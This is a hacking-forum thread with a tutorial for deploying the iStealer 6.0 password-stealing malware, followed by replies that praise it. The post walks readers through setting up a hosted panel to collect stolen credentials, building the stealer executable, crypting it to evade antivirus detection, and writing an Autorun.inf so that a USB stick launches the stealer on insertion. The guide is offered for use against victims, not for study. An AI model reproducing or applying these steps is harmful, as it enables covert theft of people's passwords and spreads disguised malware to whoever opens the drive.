Thread: [\[TuT\] iStealer 6.0 + USB Setup \(DL INCLUDED \) \[TuT\]](#)

apt-get money - February 17, 2011, 10:59 am

Ls iStealer Tutorial :D

requirements

- a computer :D
- the ability to read
- Istealer 6.0 [download here](#)
- Free webhosting - [I recommend this one](#)

Optional Requirements

- a USB Flashdrive

Alritey,lets move on to the tutorial! :D

The Webhosting Set-up :D :D

if you downloaded the files correctly from the DL provided above (shouldnt be hard :P) , you will see these files :

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot1.jpg[/img]

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot2.jpg[/img]

you can save it anywhere you want.

just leave those files there for a minute,we will continue setting it up later,we first need a hosting account.

go to www.SPAM.com and register.

after registering,go to your control panel,and create a new Mysql database.

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot3.jpg[/img]

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot4.jpg[/img]

now,back to the iStealer files.

open the index.php file with notepad,
and fill it in exactly as i did.

ALSO REMOVE ANYTHING YOU SEE WITH THE WORD ISTEALER.

SO LOOK FOR HEADER AND FOOTER,AND CHANGE THE NAME.

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot5.jpg[/img]

now, its time to upload.

go to your control panel again , and select file manager.

go to the public_HTML directory,and press upload.

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot6.jpg[/img]

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot7.jpg[/img]

now go back to Public_HTML , and click the checkbox next to it,
and click CHMOD.

now in the next window type 777 as Chmod value

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot9-1.jpg[/img]

CONGRATS YOU JUST SET UP YOUR ISTEALER FILES , NOW ITS TIME FOR THE SERVER.

Setting up the server :D

open up iStealer 6.0 , and fill in the info.

this screen will help you with it.

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot8.jpg[/img]

Now thats the server.

crypt the server with any crypter , i recommend you to use
GiGa crypter , which can be found [here](#)

lets continue with our USB (OPTIONAL)

The USB Stick :D

put the almighty weapon in your computer,
and open it.

put in your crypted server,and open up notepad.

write the following :

[code]

[autorun]

open=Yourservername.exe

ACTION=Run Stealer

after that , save it as : Autorun.inf , and put it onto your USB.

after youre done , your USB Stick looks like this :

Spoiler ([Click to View](#))

[img]http://i828.photobucket.com/albums/zz204/mclucchese/screenshot9.jpg[/img]

plug out your USB Stick , and plug it in again.

now a window pops up , and you will see your Run option.
if you click it,the iStealer will open.

Have Fun with your iStealer and your USB! :D

Note : i did not uploaded the files by myself , ive used [this](#) tut for the download link , and i based it on it,changed the webhost,
included a crypter,and wrote how to make the USB Stick autorun(and i took the screenies :D).

-----_prince_----- - February 17, 2011, 11:04 am

hmm thanks bro nice sharing :) gud job keep it up....

Nice tutorial, that's rather well documented and Illustrated. Your mspaint skills need a little Improving though :)

Thanks.

Thanks.

Hahaha , nah i normally use photoshop ., but when i make alot of screenies i use paint , because photoshop takes dammn long to load.

and yeah well , i dont want Mspaint skills. Mspaint sucks. :P

You write the path/url to your index.php.

<http://myftpaccount.host.com/index.php>
